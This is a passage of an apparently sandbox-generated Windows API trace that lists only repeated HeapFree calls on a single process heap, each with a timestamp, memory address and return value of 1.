	[0169.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.636] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.636] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0169.636] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.638] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.640] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.642] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.669] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.676] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.682] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.687] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.695] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.706] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.717] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.724] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.729] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.795] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0169.795] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0169.795] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0169.918] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0169.921] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0169.921] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0169.929] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0170.099] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0170.106] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.107] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0170.108] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0170.109] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.109] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0170.119] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.119] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0170.123] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0170.126] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0170.126] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0170.126] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0170.129] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0170.129] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0170.129] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.214] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0170.267] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0170.273] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0170.273] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.283] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.341] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0170.342] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0170.342] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.342] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.346] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.346] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0170.349] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.350] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.350] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0170.449] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0170.459] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0170.465] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.466] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.466] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.467] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.468] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.469] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.470] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.470] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.471] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.471] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.472] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.473] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.474] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.475] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.476] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.536] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.540] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.541] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.542] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.543] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.544] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.545] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.545] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.545] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.546] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.547] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.548] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.549] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.550] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.551] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.555] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.567] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.568] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.568] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.568] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.569] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.570] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.570] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.571] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.571] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.572] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.573] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.574] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.575] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.575] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0170.586] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0170.593] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0170.652] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0170.664] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.665] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.667] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0170.668] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0170.672] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0170.725] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0170.726] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0170.727] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0170.730] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0171.535] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0171.536] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0171.538] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0171.538] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0171.546] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0171.554] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0171.554] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0172.169] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.172] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.172] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0172.177] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0172.179] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0172.180] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0172.180] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.180] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0172.180] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0172.183] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0172.183] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0172.188] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0172.188] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.189] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.189] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0172.194] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0172.194] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0172.200] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0172.201] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0172.302] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0172.302] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0172.307] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0172.311] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0172.311] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.316] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0172.318] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.318] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.318] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.342] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.584] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.589] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.591] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.597] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0172.599] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0172.599] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0172.599] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.600] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.602] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0172.602] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.603] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.606] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.609] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.611] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0172.611] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.611] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.612] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.613] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.617] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.617] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.618] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.618] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.862] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.863] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.864] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.864] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.865] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.866] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.867] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.867] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.868] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.869] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.870] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.870] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.872] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.872] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.873] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.874] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.875] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.875] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.876] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.876] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.877] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.878] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.879] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.879] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.880] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.881] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.881] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.882] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.883] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.884] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.885] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.885] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.886] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.887] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.888] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.889] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.890] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.890] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.891] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.891] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.892] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.896] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.897] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.898] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.899] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.899] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.901] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4120008 | out: hHeap=0x710000) returned 1
	[0172.901] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.901] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0172.905] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0172.905] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0173.127] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4130010 | out: hHeap=0x710000) returned 1
